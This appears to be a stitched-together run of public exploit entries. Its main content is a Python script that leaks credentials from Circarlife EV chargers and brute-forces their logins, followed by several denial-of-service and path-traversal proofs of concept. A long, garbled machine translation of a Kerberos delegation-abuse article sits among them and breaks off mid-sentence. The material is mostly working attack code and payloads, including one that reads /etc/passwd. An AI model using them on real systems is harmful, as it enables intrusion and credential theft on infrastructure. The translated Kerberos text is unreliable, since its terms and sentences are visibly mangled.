    appsrc = appsrc[0:raiz+len('/circarlife/')]
    print colored('[+] Platform installation path retrieved succesfully', 'green')  
    return 'Platform installation path: ' + platformpath + '\n[+] Applicaction installation path: ' + appsrc
    
def lversioneshard(): 
    print colored('[*] Getting powerstudio driver versions via CVE-2018-12634', 'blue')
    basura = ['/li', '<', 'body', 'html', '>', '/ul', '/']
    hardleak = requests.get(target1 + '/services/system/info.html')
    hardleak = hardleak.text.encode("utf8").replace('<br />', '\n')
    hardleak = hardleak.replace('<li>', '\n')
    for caca in basura:
        hardleak = hardleak.replace(caca, '')
    print colored('[+] Powerstudio driver versions leaked succesfully', 'green')
    return hardleak

def logdetails():
    print colored('[*] Leaking sensitive information via CVE-2018-12634', 'blue')
    log = requests.get(target1 + '/html/log')
    log = log.text.encode("utf8")
    print colored('[*] Searching for modem id', 'blue')
    posmid = log.rfind('/modem-start: modem id: ')
    logarr = log.split('\n')    
    if posmid != -1:
        logutil.append('Modem model:')
        print colored('[*] Modem id located', 'blue')
        for linea in logarr:
            if '/modem-start: modem id: ' in linea:
                print colored('[+] Modem id leaked', 'green')            
                linea = linea.split(' ')
                logutil.append(linea[9])
    else:
        print colored('[-] Modem id not found', 'red')
    print colored('[*] Searching for GPRS modem credentials', 'blue')
    poslogin = log.rfind('Greetings!!')
    if poslogin != -1:
        print colored('[*] Credentials found', 'blue')
        logutil.append('Modem credentials')
        print colored('[+] GPRS modem credentials retrieved', 'green')
        for linea in logarr:
            if 'password=\"' in linea:
                linea = linea.split(' ')
                logutil.append(linea[11])
                logutil.append(linea[12])
    else:
        print colored('[-] GPRS modem credentials not found with CVE-2018-12634', 'red')
    return logutil

def lsetup(user, pwd): 
    print colored('[*] Exploiting CVE-2018-16672 to leak information', 'blue')
    r1 = requests.get(target1 + '/services/system/setup.json', auth=HTTPDigestAuth(user, pwd))
    if r1.text.encode("utf8").find('not granted') != -1:
        print colored('[-] Error, login failed', 'red')
    else:
        respuesta = r1.text.encode("utf8")
        print colored('[+] Setup information leaked')
        return respuesta

def lbrute():
    global luser80
    global lpasswd80
    global luser8080
    global lpasswd8080
    dicc = raw_input('Enter dictionary file with extension[format[user:password]]: ')
    listado = open(dicc, "r")
    data = listado.readlines() 
    print colored('[*] Starting bruteforce...', 'blue')
    for linea in data:
        linea = linea.split(':')
        user = linea[0]
        pwd = linea[1]
        r1 = requests.get(target1 + '/services/system/setup.json', auth=HTTPDigestAuth(user.strip(), pwd.strip()))
        r2 = requests.get(target2 + '/services/config/config.xml', auth=HTTPDigestAuth(user.strip(), pwd.strip()))
        if r1.text.encode("utf8").find('not granted') != -1:
            print colored('[-] Error, login failed on port 80 with ' + user + ':' + pwd, 'red')
        else:
            print colored('[+] Valid credentials found on port 80: ' + user + ':' + pwd, 'green')
            luser80 = user
            lpasswd80 = pwd
        if r2.text.encode("utf8").find('Acess not granted') != -1:
            print colored('[-] Error, login failed on port 8080 with ' + user + ':' + pwd, 'red')
        else:
            print colored('[+] Valid credentials found on port 8080: ' + user + ':' + pwd, 'green')
            luser8080 = user
            lpasswd8080 = pwd
    listado.close()

def lconfig(user, pwd):
    print colored('[*] Leaking config file via CVE-2018-16669', 'blue')
    r2 = requests.get(target2 + '/services/config/config.xml', auth=HTTPDigestAuth(user.strip(), pwd.strip()))
    if r2.text.encode("utf8").find('Acess not granted') != -1:
        print colored('[-] Error. Login failed', 'red')
    else:
        config = r2.text.encode('utf8')
        print colored('[+] Config file leaked succesfully', 'green')
        return config

def salida(versiones, plcs, ruta, hard, log, setup, config):
    print colored('[*] Parsing information and generating output.', 'blue')
    print colored('[*] Parsing software information', 'blue')
    print colored('[+] Device name: ', 'green') + versiones[0]
    print colored('[+] Software_name: ', 'green') + versiones[1]
    print colored('[+] Software_version: ', 'green') + versiones[2] 
    print colored('[+] System time: ', 'green') + versiones[3]
    print colored('[+] ', 'green') + ruta
    print colored('[*] Parsing powerstudio driver versions', 'blue')
    hard = hard.replace('ul', '')
    print colored(hard.strip(), 'green')
    print colored('[*] Parsing PLCs values', 'blue')
    for i in range(0,len(plcs)):
        if ((i % 2) != 0):
            codigo = plcs[i].split('.')
            plcstatus(codigo[0])
        else:
            nombre = plcs[i].replace('.STATUS', '')
            print colored('[+] PLC name: ' + nombre, 'green')
    print colored('[*] Parsing leaked data from logs using CVE-2018-12634', 'blue')
    if len(log) > 3:
        print colored('[*] ' + log[0], 'blue')
        for i in range(2,len(log)):
            if log[i] != 'Modem credentials':
                print colored('[+] GPRS router model found: ', 'green') + log[i]
                break
        for i in range(0,len(log)):
            if log[i] == 'Modem credentials':
                creds = i
                break

        for i in range(creds + 1, len(log)):
            if (log[i].rfind('user=')) != -1:
                usuario = log[i].split('=')
                user = usuario[1]
                user = user.replace('\"', '')
            if (log[i].rfind('password=')) != -1:
                cont = log[i].split('=')
                contrase = cont[1]
                contrase = contrase.replace('\"', '')
                contrase = contrase.replace(']', '')
                break
        print colored('[+] Username and password for GPRS modem found: ', 'green') + user + ':' + contrase
    else:
        colored('[?] No data was extracted from logs using CVE-2018-12634', 'yellow')
    print colored('[*] Parsing setup file', 'blue')
    if (len(str(setup)) > 5):
        datos = json.loads(setup)
        print colored('[*] Processing device configuration data: ', 'blue')
        print colored('[+] MAC Address: ', 'green') + datos["device"]["mac"]
        print colored('[+] IMEI: ', 'green') + datos["device"]["imei"]
        print colored('[+] ICCID: ', 'green') + datos["device"]["iccid"]
        print colored('[+] IMSI: ', 'green') + datos["device"]["imsi"]
        print colored('[*] Processing network configuration data: ', 'blue')
        print colored('[+] Hostname: ', 'green') + datos["network"]["hostname"]
        print colored('[+] ClientId: ', 'green') + datos["network"]["clientid"]
        print colored('[+] IP address: ', 'green') + datos["network"]["ip"]
        print colored('[+] Netmask: ', 'green') + datos["network"]["netmask"]
        print colored('[+] Gateway: ', 'green') + datos["network"]["gateway"]
        print colored('[+] Name server 0: ', 'green') + datos["network"]["nameserver0"]
        print colored('[+] Name server 1: ', 'green') + datos["network"]["nameserver1"]
        print colored('[*] Processing locale options configuration data', 'blue')
        print colored('[+] Language: ', 'green') + datos["locale"]["language"]
        print colored('[+] Currency: ', 'green') + datos["locale"]["currency"]
        print colored('[*] Processing public address configuration data', 'blue')
        print colored('[+] Host type: ', 'green') + datos["paddress"]["hosttype"]
        print colored('[+] Host: ', 'green') + datos["paddress"]["host"]
        print colored('[*] Processing time configuration data', 'blue')
        print colored('[+] NTP Server 0: ', 'green') + datos["time"]["ntpserver0"]
        print colored('[+] NTP server 1: ', 'green') + datos["time"]["ntpserver1"]
        print colored('[+] Timezone: ', 'green') + datos["time"]["timezone"]
        print colored('[*] Processing GPRS modem configuration data', 'blue')
        print colored('[+] Acess point name: ', 'green') + datos["modem"]["apn"]
        print colored('[+] Username: ', 'green') + datos["modem"]["usr"]
        print colored('[+] Password: ', 'green') + datos["modem"]["pwd"]
        print colored('[+] Reset: ', 'green') + str(datos["modem"]["reset"])
        print colored('[+] Ping Ip: ', 'green') + str(datos["modem"]["pingip"])
        print colored('[+] Ping period: ', 'green') + str(datos["modem"]["pingperiod"])
        print colored('[+] Ping auto reset: ', 'green') + str(datos["modem"]["pingautoreset"])
        print colored('[*] Processing DDNS configuration data', 'blue')
        print colored('[+] DDNS server: ', 'green') + datos["ddns"]["server"]
        print colored('[+] DDNS host: ', 'green') + datos["ddns"]["host"]
        print colored('[+] DDNS Username: ', 'green') + datos["ddns"]["usr"]
        print colored('[+] DDNS password: ', 'green') + datos["ddns"]["pwd"]
        print colored('[*] Processing security configuration data', 'blue')
        print colored('[+] Username: ', 'green') + datos["security"]["user"]
        print colored('[+] Password: ', 'green') + str(datos["security"]["passwd"])
        print colored('[*] Processing services configuration data', 'blue')
        print colored('[+] iManager', 'green') + str(datos["services"]["imanager"])
        print colored('[+] Active-Integration: ', 'green') + str(datos["services"]["activeIntegration"])
        print colored('[+] Web Editor: ', 'green') + str(datos["services"]["webeditor"])
        print colored('[+] SCADA Applet: ', 'green') + str(datos["services"]["appletscada"])
        print colored('[+] Html5: ', 'green') + str(datos["services"]["html5"])
        print colored('[*] Parsing Open Charge Point Protocol configuration file', 'blue')
    else:
        print colored('[-] Unable to retrieve the setup config file', 'red')
    if (len(str(config)) > 10):
        tree = ET.fromstring(config)
        print colored('[*] Processing management system CS settings', 'blue')
        print colored('[+] End point: ', 'green') + str(tree.find('.//csEndPoint').text)
        print colored('[+] Username: ', 'green') + str(tree.find('.//csUser').text)
        print colored('[+] Password: ', 'green') + str(tree.find('.//csPassword').text)
        print colored('[+] Litle endian: ', 'green') + str(tree.find('.//isLitleEndian').text)
        print colored('[*] Processing Charge Box settings file', 'blue')
        print colored('[+] Charge box Protocol: ', 'green') + str(tree.find('.//cbProtocol').text)
        print colored('[+] Charge box certificate: ', 'green') + str(tree.find('.//cbRequireCsClientCertificate').text)
        print colored('[+] Charge box ID: ', 'green') + str(tree.find('.//cbId').text)
        print colored('[+] Charge box Username: ', 'green') + str(tree.find('.//cbUser').text)
        print colored('[+] Charge box password: ', 'green') + str(tree.find('.//cbPassword').text)
        print colored('[+] Charge box OCPP internal port: ', 'green') + str(tree.find('.//cbOcppPortInternal').text)
        print colored('[+] Charge box OCPP public port: ', 'green') + str(tree.find('.//cbOcppPortPublic').text)
        print colored('[+] Charge box use whitelist: ', 'green') + str(tree.find('.//cbUseWl').text)
        print colored('[+] Charge box whitelist first: ', 'green') + str(tree.find('.//cbWlFirst').text)
        print colored('[+] Charge box offline authentication: ', 'green') + str(tree.find('.//cbAuthOffline').text)
        print colored('[+] Charge box internal error retry delay: ', 'green') + str(tree.find('.//cbRetryInternalErr').text)
        print colored('[+] Charge box use OCPP T-Sync: ', 'green') + str(tree.find('.//cbUseOcppTSync').text)
        print colored('[+] Charge box use compression: ', 'green') + str(tree.find('.//cbUseCompression').text)
        print colored('[+] Charge box use aprtial energy: ', 'green') + str(tree.find('.//cbUsePartialEnergy').text)
        #print colored('[+] Charge box use partial energy meter value: ', 'green') + str(tree.find('.//cbUsePartialEnergyMeterVal').text)
        print colored('[+] Charge box stop if unauthenticated: ', 'green') + str(tree.find('.//cbStopIfUnauth').text)
        print colored('[+] Charge box stop if concurrent tx: ', 'green') + str(tree.find('.//cbStopIfConcurrentTx').text)
        print colored('[+] Charge box hearth-beat interval: ', 'green') + str(tree.find('.//cbHbInterval').text)
        print colored('[+] Charge box connection time out interval: ', 'green') + str(tree.find('.//cbConnTimeOut').text)
        print colored('[+] Charge box meter interval: ', 'green') + str(tree.find('.//cbMeterInterval').text)
        #print colored('[+] Charge box public Ip timeout interval: ', 'green') + str(tree.find('.//cbPublicIpTimeOut').text)
        #print colored('[+] Charge box authentication required for remote start: ', 'green') + str(tree.find('.//cbRequireAuthRemoteStart').text)
        #print colored('[+] Charge box meter requires power: ', 'green') + str(tree.find('.//cbMeterValRequiresPower').text)
        print colored('[*] Processing Powerstudio engine settings file' , 'blue')
        print colored('[+] Powerstudio engine host: ', 'green') + str(tree.find('.//pwStdHost').text)
        print colored('[+] Powerstudio engine port: ', 'green') + str(tree.find('.//pwStdPort').text)
        print colored('[+] Powerstudio engine username: ', 'green') + str(tree.find('.//pwStdUser').text)
        print colored('[+] Powerstudio engine password: ', 'green') + base64.b64decode(str(tree.find('.//pwStdPassword').text))
        print colored('[+] Powerstudio engine username (with edit permissions): ', 'green') + str(tree.find('.//pwStdUserEdit').text)
        print colored('[+] Powerstudio engine password (with edit permissions): ', 'green') + base64.b64decode(str(tree.find('.//pwStdPasswordEdit').text))
        print colored('[*] Processing powerstudio application parameters', 'blue')
        print colored('[+] Powerstudio application port: ', 'green') + str(tree.find('.//pssPort').text)
        print colored('[+] Powerstudio application admin: ', 'green') + str(tree.find('.//pssAdminUser').text)
        print colored('[+] Powerstudio application password: ', 'green') + base64.b64decode(str(tree.find('.//pssAdminPassword').text))
        print colored('[+] Powerstudio application debug logging level: ', 'green') + str(tree.find('.//pssLoglevel').text)
    else:
        print colored('[-] Unable to retrieve the OCPP config file', 'red')

#entrypoint
url = raw_input('Insert target ip: ')
target1 = 'http://' + url 
target2 = 'http://' + url + ':8080'
luser80 = 'admin'
lpasswd80 = '1234'
luser8080 = 'admin'
lpasswd8080 = '1234'
luser80 = raw_input('Insert username for login at circarlife server: (b to bruteforce)')
if (luser80 == 'b'):
    lbrute()
else:    
    lpasswd80 = raw_input('Insert password for login at circarlife server: ')
    luser8080 = raw_input('Insert username for login at OCPP server: ')
    lpasswd8080 = raw_input('Insert password for login at OCPP server: ')

versiones = lversionessoft()   
plcs = ldevstat()
ruta = repository()
hard = lversioneshard()
log = logdetails()
setup = lsetup(luser80.strip(), lpasswd80.strip())
config = lconfig(luser8080.strip(), lpasswd8080.strip())
salida(versiones, plcs, ruta, hard, log, setup, config)
            
# Exploit Title: PixGPS 1.1.8 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-10
# Software Link: http://www.br-software.com/pixgps11_setup.exe
# Tested Version: 1.1.8
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Now start the program. 
# Now when you are inside of the program paste the contents of "exploit.txt" into the field:"Folder with picture files"
# Click the "..." button and you will see a crash!  

#!/usr/bin/python
   
buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
            

0x00はじめに

2018年3月に、私は信頼されているAauthfordelegationプロパティが無意味であり、そのプロパティなしで「プロトコル変換」を実装できることを証明するために、意味のない議論を開始しました。制約代表団が有効になっている限り(MSDS-AllowedTodeLegatetoは空ではない)、「Kerberosのみ」または「認証プロトコル」を使用して機能するように構成されていると思います。

ベンジャミンデルピー(@gentilkiwi)の助けを借りてこの研究プロセスを開始しました。彼は、PACなしでS4U2Proxyをシルバーノートで呼び出す特定の攻撃をサポートするためにケケケオの修正を支援しました。それ以来、私はこの問題を研究してきました。皮肉なことに、私が最終的に失敗を受け入れるまで、他の興味深いエクスプロイトと新しい攻撃技術とともに解決策が続きました。

0x01 TL; Dr

この記事は非常に長く、多くの人がそれを読む時間や忍耐力がないことを非常によく知っているので、午後にこの記事の重要なポイントをリストします。

リソースベースの制約委任は、S4U2Proxyを呼び出す際に前向きなTGSを必要としません。

S4U2Selfは、信頼されたAOUTHFORDELEGATIONプロパティのステータスに関係なく、SPNを使用して任意のアカウントで実行できます。 TrustedToAuthFordeLegationが設定されている場合、S4U2Selfによって生成されたTGSは、委任または保護されたユーザーグループのメンバーに敏感な情報でない限り、前向きです。

上記のポイントは、攻撃者がActiveディレクトリ内のコンピューターオブジェクトを制御できる場合、ホストを破壊するためにオブジェクトを悪用する可能性があることを意味します。

S4U2Proxyは、リクエストで提供されている追加のTGSが転送されていない場合でも、フォワーダー容易なTGSを生成できます。

上記のポイントは、攻撃者がSPNと従来の制約代表団を備えたアカウントを使用して他のアカウントを攻撃する場合、TrustedToAuthFordeLegationプロパティが設定されているかどうかは関係ないことを意味します。

デフォルトでは、ドメインユーザーはMachineaCcountQuotaを悪用してコンピューターアカウントを作成し、そのためにSPNを設定できます。これにより、リソースベースの制約委任シミュレーションプロトコル変換が容易になりやすくなります(ユーザーのために破損したサービスに転送可能なTGを取得します)。

S4U2Selfは、委任に敏感なユーザーグループまたは保護されたユーザーグループとしてマークされたものを含む、すべてのユーザーに有効なTGを生成できます。生成されたTGSには、有効なKDC署名を備えたPACがあります。必要なのは、コンピューターアカウント資格情報またはTGTだけです。

上記のポイントは、制約のない代表団と「印刷エラー」と組み合わされて、リモートコード実行(RCE)につながる可能性があります。

KRBTGTアカウントのリソースベースの制約代表団により、TGTを任意のユーザーに対して生成することができ、永続的なテクノロジーとして悪用される可能性があります。

リソースベースの制限委任を介してHTTPからLDAPへのNTLMリレー構成は、MSSQLサーバーでのリモートコード実行(RCE)またはローカル許可エスカレーション(LPE)を容易にする可能性があります。

コンピューターアカウントはもっと楽しくなります。攻撃チェーンをトリガーするためのより多くのエクスプロイトポイントを探し始めます

0x02 Kerberos Delegation 101

Kerberos委任承認の乱用の分析に遅れをとっていない場合は、最初にWill Schroeder(@harmj0y)とLee Christensen(@tifkin_uuu)s4u2pwnageの記事を読む必要があります。その投稿では、彼らは私よりもそれについて詳しく説明しましたが、私はそれを可能な限り簡潔に概説しようとします。

まず、Kerberosの簡単な概要:

ユーザーがログインすると、パスワードから生成された暗号化キーを使用して情報(タイムスタンプ)を暗号化して、パスワードを知っていることを確認サーバーに証明します。このステップは、「事前認証」と呼ばれます。

Active Directory環境では、認証サーバーはドメインコントローラーです。

事前認証が成功した後、認証サーバーは、チケット助成金チケット(TGT)の限られた有効期間をユーザーに提供します

ユーザーがサービスの認証を希望する場合、ユーザーはTGTを認証サーバーに送信します。 TGTが有効な場合、ユーザーは「サービスチケット」とも呼ばれるチケット助成サービス(TGS)を受け取ります。

その後、ユーザーはTGSをアクセスするサービスに送信できます。これにより、ユーザーが認証され、TGSに含まれるデータに基づいて承認決定を下すことができます。

Kerberos101.png

Kerberosについてのいくつかの重要なメモメモ:

各チケットには、プレーンテキストセクションと暗号化されたセクションがあります

法案のプレーンテキスト部分には、法案が対象となるサービスのサービスプリンシパル名(SPN)が含まれています

チケットの暗号化部分に使用される暗号化キーは、ターゲットサービスのアカウントのパスワードからエクスポートされます。

TGTは、組み込みアカウント「krbtgt」用に暗号化されています

TGTのSPNはKRBTGT/ドメインです

通常、サービスには、別のサービスにアクセスするためにユーザーのなりすましが必要です。これを容易にするために、Kerberosプロトコルに次の委任機能が紹介されています。

TrustedFordElegation:ユーザーはTGSを送信してTGTとともにサービスにアクセスし、サービスはユーザーのTGTを使用して他のサービスからユーザーを要求し、ユーザーUnconstrained101.pngをシミュレートできます。

制約付き委任(S4U2Proxy):ユーザーはTGSを送信してサービスにアクセスします( "Service A")。サービスを別の事前定義されたサービス(「サービスB」)に委任することが許可されている場合は、ユーザーが提供するTGSを認証されたサービスに提供し、ユーザーのサービスBにTGを取得できます。 TGSは、S4U2Proxyリクエストでは、フォローダブルフラグを設定する必要があることに注意してください。フォローダブルフラグは、「代表団に敏感」として構成されたアカウントに設定されることはありません(ユーザーは、Trueに設定された委任属性のメンバーを持っていません)または保護されたユーザーグループです。

S4U2Proxy.pngプロトコル変換(S4U2Self/TrustedToedToeAuthFordElegation):S4U2Proxyは、認証サービスがユーザーが別のサービスにTGSを生成する前に、ユーザーにTGSを提供するサービスを必要とします。多くの場合、「添付のチケット」と呼ばれますが、ユーザーが実際にS4U2Proxyを呼び出すサービスを認証したという「証拠」と呼ぶのが好きです。ただし、ユーザーがNTLMやフォームベースの認証などの他のプロトコルを介してサービスを認証する場合があるため、TGSをサービスに送信しません。この場合、サービスはS4U2Selfを呼び出して認証サービスを要求して、任意のユーザーのTGSを生成し、S4U2Proxyを呼び出すときに「証拠」として使用できます。この機能により、ユーザーを模倣することができ、S4U2Selfを呼び出すサービスアカウントに信頼できるAOUTHFORDELEGATIONフラグが設定されている場合にのみ可能です。

S4U2Self.png

0x03その他の制限された代表団

2018年10月には、リソースベースの制約委任の乱用に関する基本的な議論を提供するために、ウィルシュローダー(@harmj0y)と協力しました。ウィルはこのトピックに関する優れた記事を書いており、継続する前にそれを読むべきです。繰り返しになりますが、その投稿では、私よりもそれについて詳しく説明しますが、ここで非常に簡潔に概説します。

制約委任を構成するには、seadabledelegationの許可を持たなければなりません。これは敏感で、通常はドメイン管理者にのみ付与されます。ユーザー/リソースをより独立させるために、リソースベースの制約委任がWindows Server 2012に導入されました。リソースベースの制約代表団を使用すると、リソースがどのアカウントを委任できるかを構成できます。

このスタイルの制約付き委任は、従来の制約付き委任に非常に似ていますが、反対の構成があります。アカウントAからアカウントBへの従来の制約代表団は、MSDS-AllowedTodeLegatetoプロパティのアカウントAで構成され、AからBへの「発信」信頼を定義し、リソースベースの制約委任はMSDS-Allowed-ActonbehalfofofofofofofofofofofofofofofofofofofofofoforyのプロパティのアカウントBで構成され、B。

DelegationTypes.png

重要な点は、各リソースがそれ自体のリソースベースの制約委任を構成できることです。私の意見では、リソースが自分で信頼できる自分で決めさせることは理にかなっています。

ウィルと私は、特定のホストを破るために、次の虐待事件を思いつきました。

攻撃者は、信頼されたaauthfordelegationフラグ( "Service A")を設定したアカウントを破壊します

また、攻撃者は、ターゲットホストのコンピューターアカウント(「サービスB」)のリソースベースの制約付き委任許可を構成することにより、アカウントを攻撃します。

攻撃者は、サービスAからサービスBにリソースベースの制約代表団を構成します

攻撃者は、S4U2SelfとS4U2ProxyをサービスAとして呼び出して、特権ユーザーのTGSを取得してターゲットホストを破壊するためにBにサービスを提供します。

次の図は、この乱用のケースを示しています:FirstAttack.png

これは良いトリックですが、TrustedToeAuthFordeLegationフラグ設定を使用してアカウントを破ることは簡単な作業ではありません。私の研究で信頼されている研究がより効果的であれば、そのような虐待の場合に役立ちます。

0x04乱用ケース:S4U2自己スキップ

上記のACLベースのコンピューターIDの元の引数を使用するために、Rubeusをわずかに変更して、攻撃者がS4U2Proxyを呼び出すときにS4U2をスキップできるようにしました。ベンジャミンデルピーは、2018年4月にケケオにも変更を加えました。ただし、執筆時点では、Kekeoはリソースベースの制約委任をサポートしていません。

より一般的な虐待のケースは次のとおりです。

攻撃者はサービスAとDACLを妥協し、サービスBにリソースベースの制約代表団を構成します

ソーシャルエンジニアリングまたは水たまり攻撃を通じて、被害者はサービスにサービスを提供することを認証します(CIFSやHTTPなど)

攻撃者はMimikatz sekurlsa:を使用します:跳绳,S4U2Self1.pngにサービスを提供するために、被害者のTGSを捨てるチケットまたはその他の方法

攻撃者は、サービスAからサービスBにリソースベースの制約代表団を構成します跳绳,S4U2Self2.png

攻撃者はRubeusを使用してS4U2Proxyを実行し、以前に得られたTGSは、被害者がサービスAからサービスBに必要とする「証拠」でした。跳绳,S4U2Self3.png

攻撃者はチケットを介してサービスにアクセスし、被害者Bになりすまします。跳绳,S4U2Self4.png

次の図は、この状況を示しています:Selfless.png

このシーンのビデオデモンストレーション:(https://youtu.be/7odfalcmldo)

S4U2Proxyは以前にTGS:を取得しています

uk5gjxjic3k8183.jpg nmcyywkbdjt8184.jpg zlb12zaegs18185.jpg 1mib5suvjcv8186.jpg

S4U2Proxy応答(サービスBに対する)で生成されたTGSは、プリンシパルがデリゲートセンシティブまたは保護されたユーザーグループのメンバーとしてマークされない限り、前向きなフラグが設定されているように見えることに注意してください。

0x05セレンディピティ(偶発性)

Rubeusの変更をテストしていたときに、リクエストの送信の準備をしているとき、サービスAで信頼できるAauthfordelegation useraccountControlフラグをリセットし、S4U2自問を実行するときにエラーメッセージプロンプトが表示されることを期待しています。ただし、S4U2とS4U2Proxyの両方が実行され、生成されたTGSはサービスBにアクセスする許可を与えてくれます。

Serendipity1.png

Serendipity2.png

S4U2Selfから入手したチケットは前向きではありませんが、S4U2Proxyはまだそれを受け取り、サービスBのユーザーにTGS応答を実行します

Serendipity3.png

この時点で、私は自分のラボ環境を完全に誤解したのだろうかと思います。

このシーンのビデオデモンストレーション:(https://youtu.be/iz6bjpr28r4)

信頼できる任意のアカウントでフォアロドラブルTGT:を入手してください

a3z3ecbfg0u8190.jpg u0incxsagvo8191.jpg cbcg4ptdsjo8192.jpg

0x05誤解された機能

1。誤解された特性1

数時間のテスト、デバッグ、MSSFUの読み取りの後、S4U2自己の理解が間違っていることに気付きました。 S4U2は、TrustedToAuthFordElegation userAccountControlフラグが設定されているかどうかに関係なく、適切に機能しているようです。ただし、設定されていない場合、生成されたTGSはMS-SFUセクション3.2.5.1.2に従って転送されません。

「Service 1ボディのTrustedToAuthenticationFordElegationパラメーターが次のように設定されている場合:

True:KDCは、S4U2Selfサービスチケット([RFC4120]セクション2.6)に、フォワーダブルチケットフラグを設定する必要があります。

false and Servicesallowedtosendforwardedticketstoは空ではありません。KDCは、S4U2Selfサービスチケット([RFC4120]セクション2.6)でフォードバブルチケットフラグを設定できません。

2。誤解された特性2

それで、S4U2Proxyはまだ好調なチケットを使用してはいけませんか?

従来の(「外出」)制約代表団を備えた非軌道TGを使用してS4U2Proxyを呼び出しようとすると、失敗します。ただし、リソースベースの制約代表団( "in")は常に有効です。バグだと思ったので、2018年10月26日にMicrosoft Response Center(MSRC)に報告しました。

返信を待っている間に、MS-SFUをもう一度読み、セクション3.2.5.2を見つけました

「添付のチケットフィールドのサービスチケットがFordoundable20に設定されていない場合、PA-PACオプション[167]([MS-Kile]セクション2.2.10)Padataタイプには、リソースベースの制約委任ビットがあります。

設定されていない場合、KDCはStatus status_no_matchでkrb-err-badoptionオプションを返す必要があります。

kerb_validation_info構造([ms-pac]セクション2.5)のuseraccountcontrolフィールドにuser_not_delegatedビットを設定すると、kdcはkrb-err-badoptionオプションをステータスstatus_not_foundで返す必要があります。

これはデザインの欠陥のようであり、Microsoftの言葉では、「機能」でもあります。リソースベースの制約付き委任S4U2Proxyは、設計に装備不可能なTGを提供します!

上記のドキュメントによれば、TGSがリソースベースの制約委任のために転送する必要がない場合でも、ユーザーが「委任に敏感」に設定されている場合、S4U2Proxyは失敗することに注意してください。

0x06一般的なDACL乱用

これら2つの誤解された「機能」は、ACLベースのコンピューターターゲットの元の引数の唯一の要件は、コンピューターオブジェクトと別のアカウントでのDACL構成がリソースベースの制約代表団であることを意味します。 SPNのアカウントはすべてを行います。他のアカウントのTGTにすぎない場合でも、大丈夫です。

SPNの必要性の理由は、S4U2SelfがSPNなしでアカウントで動作しないように見えるからです。ただし、MachineaCcountQuota(デフォルトは10に設定されている)を乱用して、新しいコンピューターアカウントの作成を許可することにより、DomainユーザーはSPNでアカウントを取得できます。新しいコンピューターアカウントを作成すると、ユーザーはSPNを設定したり、後で追加したりできます。 Kevin Robertson(@netspi)は、PowerMadと呼ばれるツールを提供します。これにより、LDAPを介して実装できます。

一般虐待事件の実用的な原則は次のとおりです。

攻撃者は、SPNを持つか、アカウントを作成するか(「サービスA」)妥協し、DACLを使用してコンピューターアカウントでリソースベースの制約委任を構成します(「サービスB」)。

攻撃者はSPNを使用してアカウントを侵害するか、A(サービスA)を作成して、コンピューターアカウントでリソースベースの制約委任を構成します(「サービスB」)

攻撃者は、サービスAからサービスBにリソースベースの制約委任を構成しますGeneric1.png

攻撃者は、Rubesを使用して、サービスAからサービスB(S4U2SelfおよびS4U2Proxy)への完全なS4U攻撃を実行します。

攻撃者はチケットを渡してユーザーをシミュレートしてサービスBにアクセスできます。Generic3.png

次の図は、この状況を示しています:Generic.png

このシーンのビデオデモンストレーション:(https://youtu.be/ayavtg7j_tq)

RBCDは、ACLベースのコンピューターの元のオブジェクトとして引き継ぎます。

sr5m2kqdcf58196.jpg pjsyfbbj43q8197.jpg pa1tttmtbte8198.jpg vndze0dfu4e8199.jpg i2hddzo3yix8200.jpg

ステップ3でS4U2Selfから取得したTGSは転送されていませんが、S4U2Proxyを呼び出す場合、「証拠」として使用されます。

0x07フォローダブル結果

S4U2Proxy応答で生成されたTGSをチェックすると、フォワーダブルフラグを設定します。 S4U2Proxyを「証拠」として再現不可能なTGSを備えたS4U2Proxyを提供し、前向きなTGSを取得しました。

Forwardable.png

これはバグですか、それとも機能ですか?

私はMS-SFUセクション3.2.5.2.2に戻り、以下を見つけました。

「KDCは、以下の場合はサービスチケットに応答する必要があります。

スナムフィールドには含まれています

# Exploit Title: Rubedo CMS 3.4.0 - Directory Traversal
# Google Dork: intext:rubedo.current.page.description
# Date: 2018-09-11
# Exploit Author: Marouene Boubakri
# Vendor Homepage: https://www.rubedo-project.org
# Version: through 3.4.0
# Tested on: Linux
# CVE : CVE-2018-16836

# PoC:
# Read /etc/passwd file from remote server

/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd'
            
# Exploit Author: bzyo
# CVE: CVE-2018-10814
# Twitter: @bzyo_
# Exploit Title: SynaMan 4.0 - Cleartext password SMTP settings
# Date: 09-12-18
# Vulnerable Software: SynaMan 4.0 build 1488
# Vendor Homepage: http://web.synametrics.com/SynaMan.htm
# Version: 4.0 build 1488
# Software Link: http://web.synametrics.com/SynaManDownload.htm
# Tested On: Windows 7 x86
  
Description
-----------------------------------------------------------------
SynaMan 4.0 suffers from cleartext password storage for SMTP settings which would allow email account compromise

Prerequisites
-----------------------------------------------------------------
Access to a system running Synaman 4 using a low-privileged user account
 
Proof of Concept
-----------------------------------------------------------------
The password for the smtp email account is stored in plaintext in the AppConfig.xml configuration file.  This file can be viewed by any local user of the system.

C:\SynaMan\config>type AppConfig.xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
        <parameters>
                <parameter name="hasLoggedInOnce" type="4" value="true"></parameter>
                <parameter name="adminEmail" type="1" value="test@gmail.com"></parameter>
                <parameter name="smtpSecurity" type="1" value="None"></parameter>
				**truncated**
                <parameter name="smtpPassword" type="1" value="SuperSecret!"></parameter>
                <parameter name="ntServiceCommand" type="1" value="net start SynaMan"></parameter>
                <parameter name="mimicHtmlFiles" type="4" value="false"></parameter>
        </parameters>
</Configuration>


 
Timeline
---------------------------------------------------------------------
05-07-18: Vendor notified of vulnerabilities
05-08-18: Vendor responded and will fix 
07-25-18: Vendor fixed in new release
09-12-18: Submitted public disclosure
            
# Exploit Title: PDF Explorer 1.5.66.2 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-12
# Software Link: https://www.rttsoftware.com/files/PDFExplorerTrialSetup.zip
# Tested Version: 1.5.66.2
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
